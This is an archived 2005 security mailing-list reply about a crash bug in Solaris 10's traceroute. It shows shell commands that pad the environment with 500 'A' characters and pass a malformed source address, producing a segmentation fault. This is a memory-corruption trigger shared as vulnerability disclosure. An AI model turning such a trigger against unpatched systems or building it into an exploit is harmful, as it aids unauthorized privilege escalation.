bugtraq - Re: Solaris 10 /usr/sbin/traceroute vulnerabilities

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Date: Fri, 24 Jun 2005 17:56:05 +0200
From: Przemyslaw Frasunek <venglin@...ebsd.lublin.pl>
To: adam stevens <aqstevens@...il.com>
Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Re: Solaris 10 /usr/sbin/traceroute vulnerabilities

adam stevens napisał(a):
> [root@...us:~] traceroute -s 1.1.1.1. 127.0.0.1
> traceroute: 1.1.1.1. is an invalid IPv4 source address
> [root@...us:~] uname -a
> SunOS nexus 5.10 s10_54 sun4u sparc SUNW,Sun-Blade-100

On my box (generic unpatched Solaris 10 on amd64), segfault strongly depends on
stack layout:

atari:venglin:~> traceroute -s 1.1.1.1. 127.0.0.1
traceroute: 144.144.91.194 is an invalid IPv4 source address
atari:venglin:~> setenv DUPA `perl -e 'print "A"x500'`
atari:venglin:~> traceroute -s 1.1.1.1. 127.0.0.1
traceroute: 4.0.0.0 is an invalid IPv4 source address
Segmentation fault

It might be also specific to x86 architecture.

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